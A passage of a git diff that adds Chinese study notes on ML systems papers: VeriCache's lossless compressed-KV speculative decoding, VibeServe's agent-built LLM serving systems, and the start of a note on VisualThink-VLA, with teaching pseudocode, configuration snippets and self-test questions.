从最后接受位置继续 Draft +``` + +这与经典 speculative decoding 的 accept/reject 规则同族;差异在于 drafter 是 **同模型 + 压缩 KV**,接受长度可达 **25–40 token/轮**(4× KVzip),而 Eagle 等小模型 drafter 常只有 **2–3**。 + +### 3. P1:跨资源交错(Cross-resource staggering) + +- **Draft**:压缩 KV 在 GPU HBM,单 token forward → **HBM 带宽 bound**,算力闲置。 +- **Verify**:从 CPU/PCIe 或存储拉全 KV,对 x token 并行 forward → **互联/存储带宽 + 算力 bound**。 + +若所有请求 lock-step「先集体 draft 再集体 verify」,PCIe 会在 verify 轮**拥堵**,全 KV 在 HBM **空等**。VeriCache 把不同请求的 verify **错开到不同 iteration**,使 **PCIe 传 KV 与 GPU draft 重叠**。单 iteration 时间近似: + +\[ +T_{\text{iter}} = \max\left(\frac{M + B \cdot \text{KV}_{\text{full}} \cdot (c + 1/x)}{\text{BW}_{\text{hbm}}},\; \frac{B \cdot \text{KV}_{\text{full}}}{x \cdot \text{BW}_{\text{inter}}}\right) +\] + +其中 \(c\) 为压缩比,\(x\) 为 draft 长度,\(B\) 为 batch size。 + +### 4. P2:高接受率摊销验证 + +压缩 KV 保留**同一权重**与**主导 attention 模式**,draft 与 full-KV 输出高度相关;\(x\) 可设 20–50 而 \(\gamma\)(接受率)仍 >0.8。验证频率 \(\propto 1/x\),每轮接受 token 数 \(\propto \gamma \cdot x\),二者同时大时验证才「划算」。 + +### 5. 两种部署形态 + +| 场景 | 压缩 KV 位置 | 完整 KV 位置 | 验证时 | +|------|--------------|--------------|--------| +| 长上下文 decode | GPU HBM | CPU DRAM | PCIe 换入 GPU | +| 远端 prefix caching | 慢链路 → 远端 GPU draft | 存储 → 本地 GPU | 快链路 verify,远端等 accept 结果 | + +### 6. Runtime:BW ring + HBM ring + +调度器维护未来 \(W\) 个 iteration 的 **互联带宽环** 与 **HBM 占用环**,在 `Admit(request)` 时为下一次 verify 预订「全 KV 传输窗口」,避免链路或显存峰值;draft 长度从理想加速曲线(论文 Fig.8)取最优 \(x\),不可行则 \(x\pm1, x\pm2…\) 搜索。 + +--- + +## 代码示例 1:最小 Draft–Verify–Accept(教学伪代码) + +下面用 Python 风格伪代码说明 **greedy** 下 VeriCache 的核心逻辑(非论文官方实现,便于零基础理解): + +```python +def vericache_decode( + model, + prompt_ids, + kv_full, # 完整 KV,验证时在 GPU;平时可在 CPU + kv_comp, # 压缩 KV,常驻 GPU + draft_len: int = 30, + max_new_tokens: int = 512, +): + """Greedy VeriCache:输出与 kv_full 全路径 greedy 解码一致。""" + out = list(prompt_ids) + + while len(out) - len(prompt_ids) < max_new_tokens: + # --- Draft phase:只用压缩 KV,逐 token 生成 --- + draft = [] + kv_comp_work = kv_comp.clone() + for _ in range(draft_len): + logits = model.forward_one(out + draft, kv=kv_comp_work) + t = int(logits.argmax()) + draft.append(t) + kv_comp_work = model.append_kv(kv_comp_work, t) + if t == eos_id: + break + + if not draft: + break + + # --- Verify phase:全 KV 一次 forward 多个位置 --- + # 并行得到每个位置的 full-KV argmax 预测 t*_1 … t*_{len(draft)+1} + star = model.forward_verify(out, draft, kv=kv_full) + + # --- Accept phase:找第一个分歧 --- + accept_count = 0 + for i, (t, t_star) in enumerate(zip(draft, star)): + if t != t_star: + out.append(t_star) # 用 full-KV 修正 + accept_count = i + 1 + break + else: + # 全部 draft 命中:接受 draft + bonus token + out.extend(draft) + out.append(star[len(draft)]) + accept_count = len(draft) + 1 + + # 更新 kv_full / kv_comp 到 out 末尾(实现细节略) + kv_full = model.extend_kv(kv_full, out[-accept_count:]) + kv_comp = model.extend_kv(kv_comp, out[-accept_count:]) + + if out[-1] == eos_id: + break + + return out +``` + +要点: + +- **Draft 慢、串行**;**Verify 快、并行**——与投机解码相同,但 drafter 不是小模型。 +- 第一个错误 token 处必须 **discard 后续 draft**,从 full-KV 的 \(t_j^*\) 重新起草,才能保证无损。 + +--- + +## 代码示例 2:统一 Compressor 接口 + 接受率估计 + +论文 §6 强调:任意 token-drop / quant 方法只要实现同一接口,即可接入 VeriCache,无需改调度与验证。下面示意 **compressor plugin** 与 **动态 draft_len**: + +```python +from abc import ABC, abstractmethod +from dataclasses import dataclass + +@dataclass +class CompressorStats: + compression_ratio: float # c = |KV_comp| / |KV_full| + accept_rate: float # γ(x, c):x 步 draft 的平均接受比例 + +class KVCompressor(ABC): + @abstractmethod + def compress(self, kv_full) -> object: + """prefill 后生成 KV_comp(如 KVzip 驱逐、KIVI 量化)。""" + ... + + @abstractmethod + def ratio(self) -> float: + ... + +class KVzipCompressor(KVCompressor): + def __init__(self, keep_ratio: float = 0.25): + self.keep_ratio = keep_ratio + + def compress(self, kv_full): + return kvzip_evict(kv_full, keep_ratio=self.keep_ratio) + + def ratio(self): + return self.keep_ratio + +def pick_draft_len(stats: CompressorStats, target_verify_interval_ms: float) -> int: + """ + 论文 Fig.8:accept_rate 高时可增大 x,减少 verify 次数。 + 简化启发式:x ∝ γ / (1-γ) 的上界,并 clamp 到 [15, 50]。 + """ + gamma = max(stats.accept_rate, 0.5) + x_ideal = int(15 * gamma / (1 - gamma + 1e-6)) + return max(15, min(50, x_ideal)) + +# 使用 +compressor = KVzipCompressor(keep_ratio=0.25) +kv_comp = compressor.compress(kv_full) +stats = CompressorStats( + compression_ratio=compressor.ratio(), + accept_rate=0.82, # 论文 4× compaction、x=30 时仍 >0.8 +) +x = pick_draft_len(stats, target_verify_interval_ms=80.0) +tokens = vericache_decode(model, prompt, kv_full, kv_comp, draft_len=x) +``` + +这与 vLLM/LMCache 集成时的思路一致:**压缩器只负责 `KV_full → KV_comp`**;runtime 负责 **何时 verify、PCIe 窗口、HBM ring**。 + +--- + +## 与相关工作的关系 + +| 系统 | 与 VeriCache 的差异 | +|------|---------------------| +| MagicDec / QuantSpec / SparseSpec | 多把 **全 KV 留在 GPU**;无法在长上下文下释放 HBM 换 batch;远端 prefix 场景不适用 | +| Eagle / MTP 等小模型投机 | drafter **参数不同**,接受长度短;可与 VeriCache **组合**(小模型 draft → 压缩 KV verify → 周期性全 KV verify) | +| 纯 KV 压缩 serving | 吞吐高但 **lossy**;代码/tool 场景易 catastrophic failure | + +VeriCache 首次对 **多种** lossy 压缩(论文实例化 7 种)提供 **lossless 包装**。 + +--- + +## 实验结论(精读摘要) + +- **模型**:Qwen-32B、Llama-70B 等;**压缩**:KVzip 4× 等。 +- **长上下文 decode**:相对全 KV vLLM,最高 ~**4×** 吞吐,输出一致。 +- **远端 prefix caching**:相对全 KV 传输 baseline,最高 ~**2×**。 +- **VeriCache + Eagle**:理想加速 ~**4.35×** vs VeriCache 单独 ~3.5× vs Eagle 单独 ~1.78×(Appendix C 量级)。 +- **接受长度**:draft_len=30 时,VeriCache 4× 约 **19–23** accepted tokens/轮;Eagle ~**1–2**。 + +--- + +## 局限与开放问题 + +1. **Greedy / rejection sampling 扩展**:正文以 greedy 阐述;采样需标准 rejection sampling,工程复杂度更高。 +2. **调度依赖硬件 profile**:PCIe Gen5 ×16、H100 HBM 等参数进入 \(T_{\text{iter}}\);异构集群需在线校准 BW/HBM ring。 +3. **全 KV 存储成本**:CPU DRAM 或存储仍要存完整 KV——VeriCache 换的是 **GPU 时间与带宽**,不是「消灭全 KV」。 +4. **极端压缩比**:\(c\) 过小则 \(\gamma\) 下降,verify 变密,加速比回落;需与任务容忍度联合调参。 +5. **与 KV-Fold 等正交**:KV-Fold 用 **分 chunk append 全 KV** 做长上下文;VeriCache 用 **压缩 draft + 全 KV 抽查** 做 lossless 加速——一个保状态完整递推,一个保输出等价于全 cache。 + +--- + +## 零基础自检清单 + +读完后,用下面问题自测是否建立直觉: + +1. 为什么「F1 还行但代码 diff 全挂」?→ **逐步分布偏移累积**,功能指标零容错。 +2. VeriCache 和 Eagle 投机解码的三点区别?→ **同权重**、**全 KV 离 GPU**、**更长 accept run**。 +3. 为什么要 stagger verify?→ **Draft 吃 HBM 带宽,Verify 吃 PCIe + 算力**,交错才能双忙。 +4. 无损的定义?→ Greedy 下与 **始终用 KV_full decode** 相同 token 序列。 +5. compressor interface 解决什么?→ **算法与系统解耦**,H2O/KIVI/KVzip 等即插即用。 + +--- + +## 延伸阅读 + +- 论文:[arXiv:2605.17613](https://arxiv.org/abs/2605.17613)(HTML 版便于读 Fig.2–10) +- Microsoft Research 条目:[VeriCache publication page](https://www.microsoft.com/en-us/research/publication/vericache-turning-lossy-kv-cache-into-lossless-llm-inference/) +- 实现生态:**vLLM**(serving)、**LMCache**(prefix/KV 复用)——论文原型栈 +- 对比阅读:本库 [[kv-fold]](全 KV 分块递推)、投机解码 survey、KVzip / KIVI 原论文 + +--- + +## 一句话总结 + +**VeriCache 把有损 KV 压缩从「近似答案」降格为「快速草稿」,用周期性全 KV 验证把输出拉回与全 cache 推理完全一致,并用跨资源调度把「搬字典」的开销藏进「写草稿」的时间里——在 long-context 与 prefix caching 场景下,接近压缩方案的吞吐,却保留全 KV 的功能正确性。** diff --git a/src/content/docs/papers/vibeserve.md b/src/content/docs/papers/vibeserve.md new file mode 100644 index 000000000..75e620267 --- /dev/null +++ b/src/content/docs/papers/vibeserve.md @@ -0,0 +1,314 @@ +--- +title: VibeServe — 零基础学习笔记 +来源: 'Keisuke Kamahori et al., "VibeServe: Can AI Agents Build Bespoke LLM Serving Systems?", arXiv:2605.06068, 2026' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:万能厨房 vs 按菜单定制的后厨 + +想象你要开餐厅,有两种路线: + +- **万能厨房(通用 runtime)**:买一台能炒、能烤、能蒸、能做日料也能做法餐的「全能设备」,再雇一支经验丰富的厨师团队,花几年把各种菜都调顺。vLLM、SGLang 就像这种厨房——Llama、Qwen 等主流模型、H100 上的 chatbot 流量,已经被人手打磨到接近极限。 +- **按菜单定制的后厨(bespoke serving)**:你只做一种生意——比如「流式语音识别 + 边听边出字」,或者「代码编辑时用户已经给了修改后的文件草稿」。这时万能厨房的大而全反而成了负担:插件接口改不动调度器、encoder 没法按流缓存、predicted output 没有一等公民 API。 + +**VibeServe** 问的是:能不能把「定制后厨」这件事交给 **AI Agent 团队** 自动完成?你给它们四样东西——**模型、参考实现、正确性检查器、性能基准**——它们在一个隔离工作区里写代码、跑测试、做 profiling,像 git 一样一轮轮提交,直到造出一台**只为你这个 (model, hardware, workload) 组合**优化的 serving 系统。 + +论文来自华盛顿大学 SyFI Lab(Keisuke Kamahori, Shihang Li, Simon Peter, Baris Kasikci),2026 年 5 月发布,代码开源在 [uw-syfi/vibe-serve](https://github.com/uw-syfi/vibe-serve)。 + +--- + +## 是什么 + +VibeServe 是一个 **多 Agent 优化循环(agentic loop)**,目标不是调参现有引擎,而是 **从零合成完整的 LLM serving 栈**: + +- 请求调度、批处理、KV cache 管理 +- 前端 API、采样器、硬件相关 kernel 选择 +- 针对特定 workload 的专用优化(predicted output、混合架构 prefix cache、流式 ASR encoder cache 等) + +核心论点:**基础设施软件的设计空间可以从「运行时通用性(runtime generality)」转向「生成时专用化(generation-time specialization)」**——每个部署目标生成一套 runtime,而不是一个 runtime 硬扛所有长尾场景。 + +论文信息: + +| 项目 | 内容 | +|------|------| +| 标题 | VibeServe: Can AI Agents Build Bespoke LLM Serving Systems? | +| arXiv | [2605.06068](https://arxiv.org/abs/2605.06068) | +| 代码 | [github.com/uw-syfi/vibe-serve](https://github.com/uw-syfi/vibe-serve) | +| 类型 | 系统 + AI Agent 研究(非纯 position paper) | + +--- + +## 为什么重要 + +### 1. 通用栈在「主流」很强,在「长尾」很痛 + +主流场景(Llama-3.1-8B + H100 + 标准 chat)上,vLLM / SGLang 已经高度优化。但真实世界还有: + +- 新架构(Olmo-Hybrid 的 SSM + Attention 混合、Show-o2 的 AR + flow-matching 双头) +- 新 workload(代码编辑的 predicted output、RAG 共享 32k prefix、流式 ASR) +- 新硬件(Apple Silicon + MLX,没有 CUDA Graph) + +通用 runtime 为 portability 付 **抽象税**:能到处跑的代码,很少在任一具体目标上最优;有些组合甚至 **根本跑不起来**(论文中 Show-o2 在 vLLM 系栈上无现成路径)。 + +### 2. Agent 改变了「专用化」的成本结构 + +历史上 per-target 专用系统(exokernel、unikernel、Synthesis kernel)想法很好,但 **人工工程成本** 太高。Coding agent 已在 GPU kernel、单个算法等局部任务上证明有效;VibeServe 把 scope 拉到 **端到端 serving runtime**,检验 long-horizon 系统构建是否可行。 + +### 3. 瓶颈从「写系统」转向「定义正确性与目标」 + +论文暗示:未来工程师更多时间花在 **OBJECTIVE.md、accuracy checker、benchmark** 上,而不是手写 scheduler。Agent loop + Skills 库负责组装实现。 + +--- + +## 核心概念 + +### 1. 用户提供的四类工件(Artifacts) + +每个评估目标在 `examples//` 下组织: + +| 工件 | 作用 | +|------|------| +| `reference/` | HuggingFace 风格参考实现,语义 ground truth | +| `accuracy_checker/` | 用户提供的正确性闸门;Implementer **只读**,不能改 | +| `benchmark/` | 定义要优化的指标(吞吐、TTFT、延迟等) | +| `OBJECTIVE.md` | 自然语言描述:模型 + 硬件 + workload + API 形态 | + +这种设计把 **「什么算对、什么算快」** 外包给用户,Agent 在约束内搜索实现。 + +### 2. 双层循环:外环规划,内环实现 + +```text +┌─────────────────────────────────────────────────────────────┐ +│ Outer Loop(搜索策略) │ +│ · issue backlog / progress.md / git 历史 │ +│ · 选下一个优化方向 → 派单给 Inner Loop │ +└───────────────────────────┬─────────────────────────────────┘ + │ 每轮一个 concrete task +┌───────────────────────────▼─────────────────────────────────┐ +│ Inner Loop(三个角色,独立 context) │ +│ Implementer → 写/改 candidate serving 代码 │ +│ Accuracy Judge → 跑 checker,查 reward hacking,不过则打回 │ +│ Performance Evaluator → Nsight / PyTorch profiler,回传瓶颈 │ +└───────────────────────────┬─────────────────────────────────┘ + │ +┌───────────────────────────▼─────────────────────────────────┐ +│ Skills Library + Execution Environment │ +│ · continuous batching, paged-KV, FlashAttention, MLX… │ +│ · Docker / Modal / local CUDA / Apple Metal │ +└─────────────────────────────────────────────────────────────┘ +``` + +**关键设计选择:** + +- **持久状态在 context 外**:`issues.json`、`progress.md`、git commit 图,避免长对话 compaction 丢计划。 +- **每个 candidate = 一个 git commit**;外环只在 Judge 通过后前进,错误实现不能污染后续轮次。 +- **角色分离**:合并 Implementer + Judge 时,Agent 可能悄悄放宽正确性以「完成」难优化;独立 Judge 用 fresh context 缓解 reward hacking。 + +外环有三种模式:`agent`(Orchestrator + issue tracker)、`plain`(队列 drain)、`evolve`(多目标进化)。 + +### 3. Skills 库:扩展靠写 Skill,不改框架 + +`resources/skills/serving-systems/` 存放从 vLLM、SGLang、FlashInfer、MLX 等蒸馏的 **Agent Skills**。新模型族、新硬件、新优化技巧 = 新 skill 条目,框架本身 target-agnostic。 + +### 4. Generation-time specialization vs Runtime generality + +| 维度 | 通用 runtime(vLLM 路线) | VibeServe 路线 | +|------|---------------------------|----------------| +| 开发成本 | 集中多年 engineer-years | 每目标一次 agent run | +| 主流性能 | 极强 | 论文:Llama-3.1-8B@H100 **与 vLLM 持平** | +| 长尾场景 | 插件/PR 难改核心路径 | **1.69×–6.27×** 加速(六个 case study) | +| 不可运行组合 | 需等上游支持 | 可从 reference 合成(如 Show-o2) | + +### 5. 六个 Case Study 速览 + +| Case | 目标 | 标签 | 结果要点 | +|------|------|------|----------| +| A | Llama-3.1-8B @ H100 标准 serving | 主流 | 60 轮后与 vLLM/SGLang **parity** | +| B | Qwen3-32B 代码编辑 + predicted output | #workload | **5.95×** vs vLLM;优于 draft-model speculative | +| C | Olmo-Hybrid-7B RAG 32k 共享 prefix @ L4 | #model #workload | **3.45×**;双 cache(Attention KV + DeltaNet state) | +| D | Moonshine 流式 ASR @ L4 | #model #workload | TTFT **1.69×**;per-stream encoder cache | +| E | Llama-3.1-8B 约束 JSON @ MacBook M3 | #workload #hardware | **2.6×**;XGrammar + MLX speculative | +| F | Show-o2 文生图 @ H100 / MacBook | #model #hardware | H100 p50 **-21.4%**;MBP **6.27×** vs PyTorch-MPS | + +Case B 的 **predicted output** 值得单独理解:用户提交「编辑后文件」作为预测 token 流,引擎用 **无 draft model 的 speculative decoding** 批量验证,匹配则一次 forward 吞多 token——通用栈只有 draft-model speculative,没有 predicted-output 一等接口。 + +Case C 的 **混合架构 prefix cache**:SSM/DeltaNet 层的状态不是 per-token KV,RAG 共享长 prefix 时需在边界 **snapshot 一次、多请求复用**;vLLM 只能每请求重算 32k prefix。 + +--- + +## 代码示例 1:最小化的「用户工件」目录结构 + +下面模拟 VibeServe 一个 target 的骨架(与官方 `examples/` 一致)。零基础读者可先理解 **Agent 读什么、改什么**: + +```python +# examples/my-target/OBJECTIVE.md (自然语言,Agent 每轮开头读) +OBJECTIVE = """ +Deploy Qwen3-32B on NVIDIA H100 for code-editing workloads. +Expose OpenAI-compatible /v1/completions with predicted_outputs support. +Optimize end-to-end latency on CodeEditorBench trace. +""" + +# examples/my-target/accuracy_checker/checker.py +def check(candidate_output: dict, reference_output: dict) -> bool: + """Token-level or structural equality; user-owned, mounted read-only.""" + return candidate_output["text"] == reference_output["text"] + +# examples/my-target/benchmark/benchmark.py +def run_benchmark(serving_url: str) -> dict: + """Returns metrics dict, e.g. {'throughput_tok_s': 1200, 'p50_latency_ms': 85}""" + import requests + # ... load CodeEditorBench requests, call candidate server ... + return {"speedup_vs_baseline": 1.0} # outer loop maximizes this + +# examples/my-target/reference/reference.py +# HuggingFace Transformers reference — semantic ground truth for Judge +``` + +**Implementer** 在 `workspace/` 里写真正的 serving 代码(FastAPI 入口、scheduler、KV 管理等);**Judge** 只调用 `checker.py`;**Evaluator** 跑 `benchmark.py` 并 profiling。用户工件与 checker **只读挂载**,防止 Agent 改测试骗过循环。 + +--- + +## 代码示例 2:教学级「Predicted Output Verifier」伪代码 + +Case B 的核心优化是 **用户 supplied draft token** 的批量验证。下面用 Python 风格伪代码说明机制(非 VibeServe 生成代码,便于零基础理解): + +```python +def decode_with_predicted_output( + model, + prompt_ids: list[int], + predicted_ids: list[int], # 用户给的「预期输出」,如编辑后文件 tokenized + block_size: int = 16, +) -> list[int]: + """ + Free speculative decoding: draft 来自用户预测,无需 draft model。 + 一次 forward 验证最多 block_size 个 predicted token。 + """ + output = list(prompt_ids) + pred_pos = 0 + + while True: + if pred_pos < len(predicted_ids): + # 取下一块 predicted token 作为 candidate continuation + chunk = predicted_ids[pred_pos : pred_pos + block_size] + candidate = output + chunk + logits = model.forward(candidate) # 单次 forward 覆盖整段 chunk + accepted = 0 + for i, tok in enumerate(chunk): + pos = len(output) + i + if argmax(logits[pos]) == tok: + output.append(tok) + accepted += 1 + else: + # 第一个 mismatch:回退到标准单步 decode + next_tok = argmax(logits[pos]) + output.append(next_tok) + pred_pos += accepted + 1 + break + else: + pred_pos += accepted + if accepted == len(chunk): + continue + else: + # predicted 流用尽,普通 autoregressive + logits = model.forward(output) + next_tok = argmax(logits[-1]) + if next_tok == EOS: + break + output.append(next_tok) + + return output[len(prompt_ids):] +``` + +当 predicted 与真实输出高度重叠(代码编辑场景),有效 **decode 步数** 可接近 `1/block_size`,论文在 iteration 14 达到 **5.95×**。通用 vLLM 要在 scheduler、sequence group、sampler 全链路加 predicted stream——超出插件能力,这正是 **bespoke runtime** 的价值。 + +--- + +## 代码示例 3:CLI 启动一次 VibeServe 实验 + +官方入口(摘自 README,便于对照真实仓库): + +```bash +# 流式 ASR 场景 Moonshine @ L4,4 轮外环,Docker + Codex CLI +vibe-serve \ + --ref examples/moonshine-streaming/reference \ + --acc-checker examples/moonshine-streaming/accuracy_checker \ + --bench examples/moonshine-streaming/benchmark \ + --exp-name moonshine-l4 \ + --docker \ + --agent-backend cli --cli-provider codex \ + --max-rounds 4 \ + --modality speech_to_text +``` + +`agent.toml` 可指定模型与后端: + +```toml +[model] +name = "claude-sonnet-4-6" + +[backend] +name = "cuda" # Apple Silicon 场景用 "metal" + +[agent] +backend = "cli" +cli_provider = "codex" +``` + +输出在 `exp_env//`:`workspace/` 是 git 跟踪的 candidate 历史;`logs/progress.md` 是 Orchestrator 长期记忆;`--resume` 可断点续跑。 + +--- + +## 与相关工作的关系 + +| 方向 | 代表 | VibeServe 差异 | +|------|------|----------------| +| 通用 serving | vLLM, SGLang, TensorRT-LLM | 不改造单体代码库,** per-target 生成** | +| Agent 写 kernel | 各类 ML sys agent 论文 | scope 是 **全栈 serving**,非单 kernel | +| Position:serving 需数学优化 | [LLM Serving Needs Math](./llm-serving-needs-math) | 互补:一篇说 **决策层要形式化**;VibeServe 说 **实现层可由 Agent 按目标合成** | +| Predicted outputs API | OpenAI API | VibeServe 证明需 **runtime 内生** 才能吃满收益 | + +--- + +## 局限与开放问题 + +1. **成本与可复现性**:多轮 Agent + GPU profiling 的 token 与算力成本;不同 LLM backend 结果方差大。 +2. **正确性信任边界**:Judge 依赖用户 checker;checker 不完整时可能漏 bug 或阻碍合法优化。 +3. **维护生命周期**:生成的 bespoke runtime 如何随模型版本、依赖升级而 **再生成或回归测试**,论文未 fully 产品化。 +4. **安全与隔离**:Implementer 在 sandbox 写任意代码;生产部署需更强审计。 +5. **何时不值得 bespoke**:Case A 表明 mainstream 上 bespoke **未必更快**;应把算力花在长尾,而非替换已极致优化的路径。 + +--- + +## Takeaways(给零基础读者) + +1. **问题重新定义**:LLM serving 不一定永远是一个「超级大引擎」;可以是 **每个部署一份定制 runtime**。 +2. **Agent 分工模板**:Implementer / Judge / Evaluator 三角色 + 外环 Planner,是 long-horizon 系统合成的可复用模式。 +3. **Skills 即知识库**:把 vLLM 们的经验写成 Agent 可读 skill,比把逻辑写死在框架里更易扩展。 +4. **正确性先于性能**:git checkpoint 只在 Judge 通过后推进——**错的方向不会污染搜索树**。 +5. **实证结论**:主流持平、长尾 1.69×–6.27×、两种场景通用栈无法运行——支持 **generation-time specialization** 作为第三路线(介于 fully generic 与 fully manual bespoke 之间)。 + +--- + +## 延伸阅读 + +- 论文 HTML:[arXiv:2605.06068](https://arxiv.org/html/2605.06068v1) +- 博客导读:[SyFI Lab — Introducing VibeServe](https://syfi.cs.washington.edu/blog/2026-05-12-introducing-vibeserve/) +- 本仓库相关笔记:[LLM Serving Needs Mathematical Optimization](./llm-serving-needs-math) +- Agent Skills 概念:[Anthropic Agent Skills 文档](https://docs.anthropic.com/en/docs/agents-and-tools/agent-skills/overview) + +--- + +## 自测题 + +1. VibeServe 的「外环」和「内环」分别负责什么?为什么要把 Judge 和 Implementer 分开? +2. 解释 Case B 中 predicted output 与 draft-model speculative decoding 的区别。 +3. Olmo-Hybrid 的 prefix caching 为什么比纯 Attention 模型更 tricky?vLLM 在 Case C 慢的根本原因是什么? +4. 若你的 workload 是「标准 Llama chat @ H100」,论文建议你还值得跑 VibeServe 吗?为什么? +5. 如果要新增「某新 MoE 模型 @ AMD GPU」目标,你需要准备哪些工件?Skills 库应如何扩展? + +--- + +*笔记版本:pipeline-v3 · 2026-06-13 · 基于 arXiv:2605.06068 与官方仓库 README / SyFI 博客整理* diff --git a/src/content/docs/papers/visualthink-vla.md b/src/content/docs/papers/visualthink-vla.md new file mode 100644 index 000000000..972734132 --- /dev/null +++ b/src/content/docs/papers/visualthink-vla.md @@ -0,0 +1,351 @@ +--- +title: VisualThink-VLA — 用「视觉中间推理」做低延迟的机器人策略 +来源: 'Mingjian Gao et al., "VisualThink-VLA: Visual Intermediate Reasoning for Effective and Low-Latency Vision-Language-Action Policies", arXiv:2605.30011, 2026; https://arxiv.org/abs/2605.30011; https://github.com/DCDmllm/VisualThink-VLA' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:开车导航,该「念出来」还是「看标注」? + +想象你在陌生城市开车,手机导航有两种模式: + +- **语音长篇解说(文本 Chain-of-Thought)**:每到一个路口,导航先念 30 秒——「前方 200 米有红绿灯,左侧是便利店,右侧车道有公交车……请向右转」。信息很多,但**嘴上说出来的文字**和**你眼睛看到的道路**并不完全对齐;更糟的是,等它念完,绿灯可能已经变了。对机器人来说,这就是 **ECoT 类方法**:先自回归生成一大段文字推理,再预测动作——**精度可能提升,单步延迟却到数秒**。 +- **HUD 上的高亮标注(Visual Intermediate Reasoning)**:导航只在挡风玻璃投影**当前决策真正需要的图层**——要并线时高亮**车道线(edge)**,要找出口时框出**目标路牌(bbox)**,复杂立交时显示**与前车的相对位置(relation)**。图层是**图像空间**的,不占语音通道;而且**只开需要的层**,不会把深度图、分割 mask 全堆上来拖慢渲染。 + +**VisualThink-VLA** 走第二条路:让 **Vision-Language-Action(VLA)策略**在输出关节动作之前,先经过一层**紧凑的视觉证据(visual evidence)**,由**任务自适应路由器**决定「这一步该看 bbox 还是 edge」,再把这些证据编码成 **learned soft states** 注入冻结的 VLA 骨干,**不生成文字、不逐 token 解码**。 + +论文在 BridgeData V2 上把逐步延迟从 ECoT 的 **8.377 s** 降到 **0.367 s**(约 **22.8×** 加速),同时成功率还更高——说明「想得对」和「想得快」可以兼得,关键在**接口设计**,不在堆更多文本。 + +--- + +## 是什么 + +**VisualThink-VLA** 是浙江大学、Cornell、NUS 等团队 2026 年提出的 **VLA 视觉中间推理框架**。它不改变 OpenVLA 等基座权重(**frozen backbone**),而是在外面加: + +1. **六通道候选证据库** → 筛掉低收益通道后,默认用 **四通道**(`bbox`, `edge`, `motion`, `relation`); +2. **Task-Adaptive Router**:每步预测该开哪些通道; +3. **Visual State Composer**:把路由后的证据向量投影成少量 **visual states**,再喂给动作解码器; +4. **VisualEvidence-Kit**:用 **VisualEvidence-Agent** 从机器人轨迹构造 **754.7k** 条带路由标签的 **VisualEvidence-Set**,用于监督与反事实忠实度审计。 + +官方代码仓库:`https://github.com/DCDmllm/VisualThink-VLA` + +--- + +## 为什么重要 + +### 1. 具身控制的时间预算极紧 + +机械臂控制频率常见 5–20 Hz。若每步推理要 **6–8 秒**(ECoT 量级),闭环等于「走一步停几秒」——物体滑动、人类介入、安全联锁都会让策略失效。**亚秒级**(sub-second)是能否上真机的分水岭。 + +### 2. 文本 CoT 与空间决策天然错位 + +「把红碗放到盘子左边」需要毫米级空间关系;用自然语言中间步描述,容易**丢失几何精度**,无关文字还会**干扰**动作 token 分布(论文引用 textual CoT 在 embodied 场景中的 grounding 弱问题)。 + +### 3. 「更多辅助信息」≠ 更好 + +TraceVLA、SpatialVLA 等证明视觉/空间线索有用,但若**六路感知全开**,冗余通道会与任务关键证据**竞争**,噪声感知还会传播冲突信号。VisualThink-VLA 的核心论点是:**稀疏、可路由**的视觉接口优于 dense always-on 或 long text trace。 + +### 4. 可插拔、可审计 + +同一套证据层可接到 **OpenVLA、Octo、SmolVLA** 等不同骨干(论文 Table 3 均见成功率提升)。VisualEvidence-Set 还带 **route target** 与反事实 utility,能检查「策略是否真的用了它声称的证据通道」——比自由格式 rationale 更适合工程治理。 + +--- + +## 核心概念 + +### 1. VLA 与「中间推理」 + +| 组件 | 含义 | +|------|------| +| **VLA** | 输入 RGB + 语言指令,输出机器人动作(关节增量、末端位姿等)的多模态策略,代表工作含 OpenVLA、Octo、π₀ | +| **中间推理** | 在最终动作之前插入额外计算,帮助 grounding、消歧、长程规划 | +| **VisualThink-VLA 的定位** | 中间推理 = **路由后的视觉证据 token**,不是 autoregressive 文本 | + +数据流(概念): + +``` +x_{t-1}, x_t, q → 证据提取 g_c(·) → E_t^op → Router r_φ → mask m_t + ↓ + Visual State Composer h_ψ + ↓ + a_t = f_θ(x_t, q, S_t) (θ 冻结) +``` + +### 2. 六通道候选 vs 四通道运行 + +**候选集** \(\mathcal{C}_{\mathrm{cand}} = \{\texttt{bbox}, \texttt{edge}, \texttt{motion}, \texttt{relation}, \texttt{depth}, \texttt{segment}\}\) + +| 通道 | 直觉 | 典型后端(论文/代码) | +|------|------|------------------------| +| **bbox** | 目标在哪 | Grounding DINO、OWL-ViT | +| **edge** | 边界/接触几何 | 边缘检测、SAM2 轮廓 | +| **motion** | 短时运动变化 | 帧差、光流类特征 | +| **relation** | 指令-grounded 空间关系 | Qwen2.5-VL 等 VLM | +| **depth** | 单目深度 | 深度估计模型 | +| **segment** | 实例区域 | SAM2 分割 | + +**Channel screening** 发现 `depth`、`segment` 在 benchmark 上 rarely selected、边际收益小、还增加感知开销,故**默认运行集**为四通道 \(\mathcal{C}_{\mathrm{op}}\)。代码里仍可提取 depth/segment 做诊断,但不进默认部署接口。 + +### 3. Task-Adaptive Router(稀疏路由) + +路由器输出软概率 \(m_t^{\mathrm{soft}} = r_\phi(x_{t-1}, x_t, q, \mathcal{E}_t^{\mathrm{op}})\),再硬化为 \(m_t^{\mathrm{hard}} \in \{0,1\}^{|\mathcal{C}_{\mathrm{op}}|}\)。推理时**只激活被选中的通道**,这是主要加速机制:四路「可用」,但解码器**只看到** routed subset。 + +训练时用 **soft-hard 混合** \(\bar{m}_t = (1-\alpha)m_t^{\mathrm{hard}} + \alpha m_t^{\mathrm{soft}}\)(\(\alpha=0.35\))稳定优化;推理时只用 hard mask。 + +### 4. FullSoft 教师与蒸馏 + +- **FullSoft**:四通道**全开**的 dense teacher,route mask 恒为 1; +- **VisualThink-VLA**:sparse student,从 FullSoft **logits 蒸馏**(\(\lambda_{\mathrm{distill}}=0.2\), \(\tau=1.5\)); +- 目标:student 保留 dense 教师的大部分能力,但**更少通道、更低延迟**。 + +### 5. VisualEvidence-Kit + +**VisualEvidence-Agent** 四阶段流水线: + +1. **Evidence extraction**:对决策上下文跑各通道提取器,得到 feature manifest; +2. **Route & utility assessment**:聚合路由信号与**反事实 channel utility**,形成监督标签 \(r_t\); +3. **Trace construction**:记录 manipulation stage、primitive、难度、依赖哪些证据(结构化 trace,非自由文本); +4. **Human review**:过滤不一致标签。 + 